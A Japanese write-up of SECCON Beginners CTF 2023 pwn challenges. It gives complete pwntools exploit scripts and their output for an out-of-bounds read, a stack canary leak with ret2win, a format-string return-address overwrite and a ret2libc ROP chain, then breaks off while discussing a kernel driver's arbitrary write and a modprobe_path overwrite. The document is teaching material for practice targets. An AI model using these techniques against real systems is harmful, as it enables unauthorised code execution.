💡

SECCON Beginners CTF 2023 Writeup

2023/06/05に公開

SECCON Beginners CTF 2023に0nePaddingのメンバーとして参加しました。
最終順位は 35 位でした。

私はPwnを担当しました。
基礎力が問われる問題が多く、解いていて楽しかったです。

カーネル問はあと一歩のところまできていましたが、私のミスでmodprobeのアドレスを勘違いしSolverが刺さりませんでした。反省します。

※記事内容に不備や誤りなどがあったらTwitterやコメントなどで指摘していただけると幸いです。

※本記事の内容は社会秩序に反する行為を助長、推奨することを目的としたものではありません。許可されている環境以外への攻撃行為は法に触れる可能性があることをご留意ください。

Pwn-poem

問題:

ポエムを書きました!
配布物:

  • src.c
  • poem(問題バイナリ)
#include <stdio.h>
#include <unistd.h>

char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
    "In the depths of silence, the universe speaks.",
    "Raindrops dance on windows, nature's lullaby.",
    "Time weaves stories with the threads of existence.",
    "Hearts entwined, two souls become one symphony.",
    "A single candle's glow can conquer the darkest room.",
};

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  if (n < 5) {
    printf("%s\n", poem[n]);
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

解法

ソースコードを見るとわかる通り、負数のチェックがされていません。
そのため、範囲外参照が可能です。

indexに負数を入力することで、poemより低いアドレスを参照できるます。
そのため、flagを参照するような負数を入力できればクリアです。
gdbで該当箇所にBreakを貼って確認してみます。
以下は0を入力した際の出力です。

0x555555558040 (poem) にpoemがあり、mov rax, qword ptr [rdx + rax]でpoemのアドレスに入力値を加算しています。

*RAX  0x555555558040 (poem) —▸ 0x555555556020 ◂— 'In the depths of silence, the universe speaks.'
 RBX  0x0
 RCX  0x10
 RDX  0x0
 RDI  0x7fffffffd9d0 —▸ 0x7fffffff0030 ◂— 0x0
 RSI  0x0
 R8   0x1999999999999999
 R9   0x0
 R10  0x7ffff7f46ac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x7ffff7f473c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
 R12  0x7fffffffe038 —▸ 0x7fffffffe2b4 ◂— '/home/ubuntu/workspace/ctf/seccon4b2023/poem/poem'
 R13  0x5555555551e9 (main) ◂— endbr64
 R14  0x0
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x7fffffffdf20 ◂— 0x1
 RSP  0x7fffffffdf10 ◂— 0x1000
*RIP  0x555555555249 (main+96) ◂— mov rax, qword ptr [rdx + rax]
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────────
   0x55555555523a <main+81>     lea    rdx, [rax*8]
   0x555555555242 <main+89>     lea    rax, [rip + 0x2df7]           <poem>
 ► 0x555555555249 <main+96>     mov    rax, qword ptr [rdx + rax]
   0x55555555524d <main+100>    mov    rdi, rax
   0x555555555250 <main+103>    call   puts@plt                <puts@plt>

   0x555555555255 <main+108>    mov    eax, 0
   0x55555555525a <main+113>    mov    rcx, qword ptr [rbp - 8]
   0x55555555525e <main+117>    xor    rcx, qword ptr fs:[0x28]
   0x555555555267 <main+126>    je     main+133                <main+133>

   0x555555555269 <main+128>    call   __stack_chk_fail@plt                <__stack_chk_fail@plt>

   0x55555555526e <main+133>    leave

次にpoemのアドレス近辺の情報を出力してみます。
想定通り、0x555555558040よりも低位の0x555555558020にflagがあることがわかります。

pwndbg> x/10gx 0x555555558020
0x555555558020 <flag>:  0x0000555555556008      0x0000000000000000
0x555555558030: 0x0000000000000000      0x0000000000000000
0x555555558040 <poem>:  0x0000555555556020      0x0000555555556050
0x555555558050 <poem+16>:       0x0000555555556080      0x00005555555560b8
0x555555558060 <poem+32>:       0x00005555555560e8      0x0000000000000000

pwndbg> x/s 0x0000555555556008
0x555555556008: "ctf4b{***CENSORED***}"

以下の部分で入力値 * 0x8 されているので-4を入力することでflagを参照できます。

0x55555555523a <main+81>     lea    rdx, [rax*8]
$ nc host port 
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

感想

poemがかっこよかったです。

Pwn-rewriter2

問題:
BOF...?

配布物:
rewriter2(問題バイナリ)
src.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x20
#define READ_SIZE 0x100

void __show_stack(void *stack);

int main() {
  char buf[BUF_SIZE];
  __show_stack(buf);

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

  __show_stack(buf);

  printf("How old are you? ");
  read(0, buf, READ_SIZE);
  puts("Thank you!");

  __show_stack(buf);
  return 0;
}

void win() {
  puts("Congratulations!");
  system("/bin/sh");
}

void __show_stack(void *stack) {
  unsigned long *ptr = stack;
  printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
  puts("====================+===================");
  for (int i = 0; i < 10; i++) {
    if (&ptr[i] == stack + BUF_SIZE + 0x8) {
      printf(" 0x%016lx | xxxxx hidden xxxxx  <- canary\n",
             (unsigned long)&ptr[i]);
      continue;
    }

    printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
    if (&ptr[i] == stack)
      printf(" <- buf");
    if (&ptr[i] == stack + BUF_SIZE + 0x10)
      printf(" <- saved rbp");
    if (&ptr[i] == stack + BUF_SIZE + 0x18)
      printf(" <- saved ret addr");
    puts("");
  }
  puts("");
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

解法

canary leak + ret2winの問題でした。
スタックの中身をダンプしてくれるので、非常に教育的でした。
個人的には良問だと思います。

具体的な攻略に入る前に、簡単にバイナリ情報と緩和機構を見ていきます。
緩和機構はPIEがOFFで、ほかは有効です。

$ file rewriter2
rewriter2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=286deea2889038d40e35f5ac9847d88b6b27f79b, for GNU/Linux 3.2.0,d

$ checksec rewriter2
[*] '/home/ubuntu/workspace/ctf/seccon4b2023/rewriter2/rewriter2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

バイナリを実行してみてどのような挙動をするか確認します。

$ ./rewriter2

 [Addr]             | [Value]
====================+===================
 0x00007ffc749026c0 | 0x0000000000000002  <- buf
 0x00007ffc749026c8 | 0x00007f7067e96780
 0x00007ffc749026d0 | 0x0000000000000000
 0x00007ffc749026d8 | 0x00007f7067d0a475
 0x00007ffc749026e0 | 0x0000000000001000
 0x00007ffc749026e8 | xxxxx hidden xxxxx  <- canary
 0x00007ffc749026f0 | 0x0000000000000001  <- saved rbp
 0x00007ffc749026f8 | 0x00007f7067ca5d90  <- saved ret addr
 0x00007ffc74902700 | 0x00007f7067e92600
 0x00007ffc74902708 | 0x00000000004011f6

What's your name? aaa
Hello, aaa


 [Addr]             | [Value]
====================+===================
 0x00007ffc749026c0 | 0x000000000a616161  <- buf
 0x00007ffc749026c8 | 0x00007f7067e96780
 0x00007ffc749026d0 | 0x0000000000000000
 0x00007ffc749026d8 | 0x00007f7067d0a475
 0x00007ffc749026e0 | 0x0000000000001000
 0x00007ffc749026e8 | xxxxx hidden xxxxx  <- canary
 0x00007ffc749026f0 | 0x0000000000000001  <- saved rbp
 0x00007ffc749026f8 | 0x00007f7067ca5d90  <- saved ret addr
 0x00007ffc74902700 | 0x00007f7067e92600
 0x00007ffc74902708 | 0x00000000004011f6

How old are you? aa
Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007ffc749026c0 | 0x000000000a0a6161  <- buf
 0x00007ffc749026c8 | 0x00007f7067e96780
 0x00007ffc749026d0 | 0x0000000000000000
 0x00007ffc749026d8 | 0x00007f7067d0a475
 0x00007ffc749026e0 | 0x0000000000001000
 0x00007ffc749026e8 | xxxxx hidden xxxxx  <- canary
 0x00007ffc749026f0 | 0x0000000000000001  <- saved rbp
 0x00007ffc749026f8 | 0x00007f7067ca5d90  <- saved ret addr
 0x00007ffc74902700 | 0x00007f7067e92600
 0x00007ffc74902708 | 0x00000000004011f6

src.c見ればわかりますが二回の入力があります。
また、readで読み取るサイズは0x100で、bufで確保しているのは0x20なのでBOFがあります。

#define BUF_SIZE 0x20
#define READ_SIZE 0x100

stack内を逐一出力してくれますがCanaryは表示してくれないので何らかの方法でリークする必要があります。

以下の部分で入力値を出力しているのでこれを利用します。
printfは%sを第一引数として設定すると、null終端まで出力してくれるのでbuf~canaryまでの間を何かしらの値で埋めることでcanaryをleak*1できます。

参考:printf
https://www.ibm.com/docs/ja/i/7.1?topic=ssw_ibm_i_71/rtref/printf.html
*1: readでなく、scanfが使われているとnullを追加するのでこの方法ではleakできないです。
*2: canary自体にnullがある場合もこの方法は使えません。

  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

gdbを使って正しくcanaryをleakできているか確認します。
0x00007ffc749026c0 - 0x00007ffc749026e8 = 40なので41文字入力すればprintfでcanaryが出力されます。

実際に試してみると以下のような結果になり、入力値以外の値を出力していることを確認できます。

$ ./rewriter2

 [Addr]             | [Value]
====================+===================
 0x00007ffefb0ef600 | 0x0000000000000002  <- buf
 0x00007ffefb0ef608 | 0x00007f066b8ba780
 0x00007ffefb0ef610 | 0x0000000000000000
 0x00007ffefb0ef618 | 0x00007f066b72e475
 0x00007ffefb0ef620 | 0x0000000000001000
 0x00007ffefb0ef628 | xxxxx hidden xxxxx  <- canary
 0x00007ffefb0ef630 | 0x0000000000000001  <- saved rbp
 0x00007ffefb0ef638 | 0x00007f066b6c9d90  <- saved ret addr
 0x00007ffefb0ef640 | 0x00007f066b8b6600
 0x00007ffefb0ef648 | 0x00000000004011f6

What's your name? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
�����o

 [Addr]             | [Value]
====================+===================
 0x00007ffefb0ef600 | 0x6161616161616161  <- buf
 0x00007ffefb0ef608 | 0x6161616161616161
 0x00007ffefb0ef610 | 0x6161616161616161
 0x00007ffefb0ef618 | 0x6161616161616161
 0x00007ffefb0ef620 | 0x6161616161616161
 0x00007ffefb0ef628 | xxxxx hidden xxxxx  <- canary
 0x00007ffefb0ef630 | 0x0000000000000001  <- saved rbp
 0x00007ffefb0ef638 | 0x00007f066b6c9d90  <- saved ret addr
 0x00007ffefb0ef640 | 0x00007f066b8b6600
 0x00007ffefb0ef648 | 0x00000000004011f6

何が出力されたかわからないので、確認します。
pwntoolsでcontext.log_level = 'debug'に設定しておくと、send dataとreceive dataを確認できるので便利です。

 [DEBUG] Received 0x39 bytes:
    00000000  48 65 6c 6c  6f 2c 20 61  61 61 61 61  61 61 61 61  │Hell│o, a│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000020  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 0a  │aaaa│aaaa│aaaa│aaa·│
    00000030  66 92 ec 59  ab 21 4c 01  0a                        │f··Y│·!L·│·│
    00000039
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
f\x92\xecY\xab!L

この際にgdbをアタッチし、pwndbgのcanaryコマンドを使ってcanaryの値を確認してみます。

pwndbg> canary
AT_RANDOM = 0x7ffd7fa45879 # points to (not masked) global canary value
Canary    = 0x4c21ab59ec926600 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:0000│  0x7ffd7fa45388 ◂— 0x4c21ab59ec926600
00:0000│  0x7ffd7fa45398 ◂— 0x4c21ab59ec926600
00:0000│  0x7ffd7fa453b8 ◂— 0x4c21ab59ec926600
00:0000│  0x7ffd7fa453c8 ◂— 0x4c21ab59ec926600
00:0000│  0x7ffd7fa45418 ◂— 0x4c21ab59ec926600
00:0000│  0x7ffd7fa455a8 ◂— 0x4c21ab59ec926600

canaryは0x4c21ab59ec926600であり、printfでリークできていることがわかります。
ただし、\x00は上書きしているのでPayloadを組む際には\x00を追加する必要があります。

また、2度の入力ができるため、1度目の入力でcanary leak,2度目の入力でsaved ripをwinに上書きすることで攻略できます。

最後にSolverを組み立てていきます。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x000000000040128a
b *0x000000000040125c
continue
'''.format(**locals())


exe = "./rewriter2"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

io = start()

win = elf.sym["win"]
info("win : %#x",win)

canry_offset  = 40
payload = "a" * canry_offset

io.sendlineafter(b"What's your name?",payload)
print(io.recvline())

canary =  u64(b"\x00" + io.recv(7))
info("canary is %#x" ,canary)

padding = 8 
ret =0x000000000040101a
payload = flat(
    "a" * canry_offset,
    canary,
    "b" *padding,
    ret,
    win 
)

io.sendlineafter(b"How old are you?",payload)
io.interactive()

上記のスクリプトを実行するとflagが取れます。

$ python3 xpl.py REMOTE host port

[*] win : 0x4012c2
b' Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[*] canary is 0xddef0648eb442c00
/home/ubuntu/workspace/ctf/seccon4b2023/rewriter2/xpl.py:44: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  payload = flat(
[*] Switching to interactive mode
 Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007fff5776cda0 | 0x6161616161616161  <- buf
 0x00007fff5776cda8 | 0x6161616161616161
 0x00007fff5776cdb0 | 0x6161616161616161
 0x00007fff5776cdb8 | 0x6161616161616161
 0x00007fff5776cdc0 | 0x6161616161616161
 0x00007fff5776cdc8 | xxxxx hidden xxxxx  <- canary
 0x00007fff5776cdd0 | 0x6262626262626262  <- saved rbp
 0x00007fff5776cdd8 | 0x000000000040101a  <- saved ret addr
 0x00007fff5776cde0 | 0x00000000004012c2
 0x00007fff5776cde8 | 0x00007fff5776ce0a

Congratulations!
$ cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

感想

canary leak問の定型として記憶しておこうと思います。
本当によかった。

Pwn-Forgot_Some_Exploit

問題:
あなたの素敵な質問に対して、最高な回答をしてくれるかもしれないチャットアプリです。

配布物:

  • chall(問題バイナリ)
  • src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x100

void win() {
    FILE *f = fopen("flag.txt", "r");
    if (!f)
        err(1, "Flag file not found...\n");
    for (char c = fgetc(f); c != EOF; c = fgetc(f))
        putchar(c);
}

void echo() {
    char buf[BUFSIZE];
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
    buf[read(0, buf, BUFSIZE-1)] = 0;
    printf(buf);
}

int main() {
    echo();
    puts("Bye!");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

解法

ソースコードみるとわかる通り、fsbがあります。
二度の入力と出力があるので、一度目の入力でstackを指すアドレスとpieベースアドレスをリークし、二度目の入力でechoからmainに返る際のripをwinに上書きすればOKです。

緩和機構はすべて有効です。

$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=51902d490e26f7e69ff2620e1904bf0deab03397, for GNU/Linux 3.2.0,d

$ checksec chall
[*] '/home/ubuntu/workspace/ctf/seccon4b2023/Forgot_Some_Exploit/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

まず、リークするアドレスを探してきます。
gdbでecho+74にBreakを貼り、その際のスタックとレジスタの値を確認します。
スタック内にはmainへ戻る際のsaved ripがあり、rsiにはbufを指すアドレスがあるはずです。

 RAX  0x0
 RBX  0x0
*RCX  0x7ffff7e9c992 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0xff
*RDI  0x7fffffffddc0 ◂— 0xa61616161 /* 'aaaa\n' */
*RSI  0x7fffffffddc0 ◂— 0xa61616161 /* 'aaaa\n' */
*R8   0x7ffff7fa2f10 (initial+16) ◂— 0x4
*R9   0x7ffff7fc9040 (_dl_fini) ◂— endbr64
*R10  0x7ffff7fc3908 ◂— 0xd00120000000e
*R11  0x246
*R12  0x7fffffffdff8 —▸ 0x7fffffffe27b ◂— '/home/ubuntu/workspace/ctf/seccon4b2023/Forgot_Some_Exploit/chall'
*R13  0x5555555552de (main) ◂— push rbp
*R14  0x555555557d78 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555180 (__do_global_dtors_aux) ◂— endbr64
*R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RBP  0x7fffffffded0 —▸ 0x7fffffffdee0 ◂— 0x1
*RSP  0x7fffffffddc0 ◂— 0xa61616161 /* 'aaaa\n' */
*RIP  0x55555555528d (echo+74) ◂— call 0x555555555060
pwndbg> info frame
Stack level 0, frame at 0x7fffffffdee0:
 rip = 0x55555555528d in echo; saved rip = 0x5555555552ec
 called by frame at 0x7fffffffdef0
 Arglist at 0x7fffffffded0, args:
 Locals at 0x7fffffffded0, Previous frame's sp is 0x7fffffffdee0
 Saved registers:
  rbp at 0x7fffffffded0, rip at 0x7fffffffded8
  
pwndbg> x/gx 0x7fffffffded8
0x7fffffffded8: 0x00005555555552ec
pwndbg> x 0x00005555555552ec
0x5555555552ec <main+14>:       0x4800000d34058d48

想定通り、目的のアドレスを得ることができます。

fsbでは何番目の引数を出力させるのかを"%n$p"のようにすることで指定ができます。
64bit ELFでは引数をレジスタから取りますが、一定以上の引数を取る際にはスタックから値を取ります。これを利用してリークを行います。

以下の方法で何番目を指定すればよいか確認できます。

pwndbg> p/d ((0x7fffffffded8 - 0x7fffffffddc0) / 8) + 6
$1 = 41

*レジスタからの得る引数を加算してます。

また、スタック内を指すアドレスはrsiにセットされているので%pで取得できます。

$ ./chall
%p-%41$p
0x7ffd8c42c800-0x55c1f7c692ec

あとは二度目のprintfでsaved ripをwinのアドレスで上書きするだけ…だったはずなのですが、winの先頭アドレスにジャンプさせるとスタックアラインメントの関係でエラーが起きてしまいます。
16byte境界にそろえるためにwin+4にジャンプさせました。

fsbで値を書き込むためには%nを利用します。
%nはその前に出力した文字数を引数で指定したアドレスに書き込むことができます。

前述したとおり、一定以上の引数を設定するとx64でもスタックから引数を取るため、
%{num}$n + 0x400000 のような文字列を入力することで任意のアドレスに書き込みができます。

手動でやる際には%lxなどを使いながら書込先のアドレスを指定するように調整するとやりやすいですが、pwntoolsにはfsb用のpayloadを生成してくれるfmtstr_payloadなる関数があるのでこれを使います。

以下はソルバーになります。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *echo
b *echo+74
b *echo+127
b *echo+154
continue
'''.format(**locals())


exe = "./chall"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

io = start()

payload = b"%p-%41$p"
io.sendline(payload)
stack_leak,elf_leak = str(io.recvline()).split("-")

stack_write_addr = int(stack_leak[2:],16) +0x118
elf_base = int(elf_leak[:-3],16) - 0x12ec
win = elf_base + 0x00000000000011cd

info("stack_write: %#x",stack_write_addr)
info("elf_base: %#x",elf_base)
info("win_addr: %#x",win)


write = {stack_write_addr: win }

payload2 = fmtstr_payload(6,write)
print(payload2)

sleep(1)
io.sendline(payload2)

print(io.recvall())
io.interactive()

上記を実行するとflagをゲットできます。

$ python3 xpl.py  REMOTE host port
[*] stack_write: 0x7ffe9dabfa48
[*] elf_base: 0x55965a6ec000
[*] win_addr: 0x55965a6ed1cd
b'%205c%15$lln%4c%16$hhn%132c%17$hhn%5c%18$hhn%20c%19$hhn%40c%20$hhnaaaabaH\xfa\xab\x9d\xfe\x7f\x00\x00I\xfa\xab\x9d\xfe\x7f\x00\x00M\xfa\xab\x9d\xfe\x7f\x00\x00K\xfa\xab\x9d\xfe\x7f\x00\x00J\xfa\xab\x
b'
[*] Switching to interactive mode
{4ny_w4y_y0u_w4nt_1t}
[*] Got EOF while reading in interactive

感想

3番目に解けたみたいです。Discordのsolveチャンネルで銅メダルマークついてて知りました。
First bloodでないのは悔しいですが、こういうのあるとモチベあがっていいですね。

Pwn-Elementary_ROP

問題:
スタックやレジスタの状態を想像しながらやってみよう

配布物:

  • chall(問題バイナリ)
  • libc.so.6
  • src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

void gadget() {
    asm("pop %rdi; ret");
}

int main() {
    char buf[0x20];
    printf("content: ");
    gets(buf);
    return 0;
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

解法

シンプルなret2libc問でした。
gets関数が使われているためBOFがありますが、flagを出力させるような関数がないのでlibcからsystem関数などをコールしてshellを取る必要があります。

緩和機構を確認してみるとNo PIE , No canaryでした。

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c5ce7344260404c39b2f53e2ffb732d33c19cb42, for GNU/Linux 3.2.0, notd
$ checksec chall
[*] '/home/ubuntu/workspace/ctf/seccon4b2023/Elementary_ROP/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

1度しか入力できませんが、再度mainに戻るようにROPを組み立てれば問題ないです。
そのため、1度目の入力でlibcアドレスをリークし、2度目の入力でsystem("/bin/sh")を呼び出せばクリアです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


def adjust_u64(byte):
    while len(byte) < 8:
        byte += b"\x00"
        
    return u64(byte)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x0000000000401192
continue
'''.format(**locals())


exe = "./chall"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

libc = ELF("libc.so.6")

io = start()


padding = 40
pop_rdi = 0x000000000040115a
ret =0x000000000040101a
main = elf.sym["main"]

printf_got_plt = elf.got["printf"]
info("elf.got['printf']: %#x",printf_got_plt)

printf = elf.plt["printf"]
info("elf.plt['printf']: %#x",printf)

payload = flat(
   b"a" * padding,
   ret,
   pop_rdi, 
   printf_got_plt,
   printf,
   ret,
   main
)

io.sendlineafter(b"content:",payload)
io.recv(1)
leak = io.recv(6)


leak = adjust_u64(leak)
info("leak %#x",leak)

libc_base = leak - 0x60770

libc.address = libc_base
info("libc_base %#x",libc_base)

system = libc.sym["system"]
info("system %#x",system)
binsh = libc_base + 0x1d8698

payload2 = flat(
    b"a" * padding,
    pop_rdi,
    binsh,
    ret,
    system
)

io.sendlineafter(b"content:",payload2)
io.interactive()
$ python3 xpl.py REMOTE host port
[+] Opening connection to elementary-rop.beginners.seccon.games on port 9003: Done
[*] elf.got['printf']: 0x403fd0
[*] elf.plt['printf']: 0x401030
[*] leak 0x7f7bc5d2f770
[*] libc_base 0x7f7bc5ccf000
[*] system 0x7f7bc5d1fd60
[*] Switching to interactive mode
 $ cat flag.txt
ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}

感想

教育的な問題だと思いました。
ガジェットも用意されていてとても親切なように思います。

Pwn-driver4b

問題:
This is an introduction to Linux Kernel driver programming and exploitation.

Linuxカーネルプログラミングとエクスプロイトへの入門です。

配布物:
たくさん

解法

競技中に解けなかったので復習も兼ねて書いていきます。

初カーネル問だったので右も左もわからず、ウロウロしていました。

Readmeがあるのでそれを確認すると、環境の説明と起動方法が書いてありました。

release: The actual remote server runs with this configuration.
debug: The same driver is loaded but with debug configuration.
src: Source code of the driver.

Run `make debug` in `/debug` to compile a sample program.
debug:
	mkdir -p rootfs
	cd rootfs; cpio -idv <../rootfs.cpio 2>/dev/null
	gcc example.c -o rootfs/exploit -static
	cd rootfs; find . -print0 | cpio -o --null --format=newc --owner=root >../rootfs.cpio
	./debug.sh
#!/bin/sh

qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
    -no-reboot \
    -cpu kvm64 \
    -monitor /dev/null \
    -net nic,model=virtio \
    -net user \
    -gdb tcp::12345

make debugすると問題環境が起動します。
example.cが配布されており、debug環境起動時にコンパイルされるようになっています。

example.c

#include "../src/ctf4b.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  char *buf;
  int fd;

  fd = open("/dev/ctf4b", O_RDWR);
  if (fd == -1)
    fatal("/dev/ctf4b");

  buf = (char*)malloc(CTF4B_MSG_SIZE);
  if (!buf) {
    close(fd);
    fatal("malloc");
  }

  /* Get message */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  /* Update message */
  strcpy(buf, "Enjoy it!");
  ioctl(fd, CTF4B_IOCTL_STORE, buf);

  /* Get message again */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  free(buf);
  close(fd);
  return 0;
}

これを実行すると、以下のようになります。

[ Welcome to SECCON Beginners CTF 2023 ]
~ # ./example
Message from ctf4b: Welcome to SECCON Beginners CTF 2023!
Message from ctf4b: Enjoy it!

ioctl関数でbufをstore->loadしているように見えます。

https://ja.wikipedia.org/wiki/Ioctl

ここで配布物のsrcディレクトリにある、ctf4b.cとctf4.hを見てみます。

#include "ctf4b.h"
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("pwnyaa");
MODULE_DESCRIPTION("SECCON Beginners CTF 2023 Online");

// CTF4B_MSG_SIZE = 0x100 

char g_message[CTF4B_MSG_SIZE] = "Welcome to SECCON Beginners CTF 2023!";

/**
 * Open this driver
 */
static int module_open(struct inode *inode, struct file *filp)
{
  return 0;
}

/**
 * Close this driver
 */
static int module_close(struct inode *inode, struct file *filp)
{
  return 0;
}

/**
 * Handle ioctl request
 */
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
  .open = module_open,
  .release = module_close,
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, CTF4B_DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);
#define CTF4B_DEVICE_NAME "ctf4b"

#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01

#define CTF4B_MSG_SIZE 0x100

module_ioctlがあり、このモジュールを利用して攻略するものと推測できます。

static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }
  return 0;
}

case CTF4B_IOCTL_STOREで引数argをg_messageに0x100サイズ分コピーし、
case CTF4B_IOCTL_LOADでg_messageをargにコピーしています。

argとcmdはこちらで設定できるのでAAWができます。
競技中に行ったアプローチは以下の二つです。

  1. ioctlからretした際のripを制御してROPする
  2. modprobe_pathを書き換え、任意のスクリプトを特権で実行する

1.のアプローチはkptiが有効なためuserlandと同じようにripを書き換えても、カーネル空間からユーザーランドのアドレスが読めず、クラッシュします。

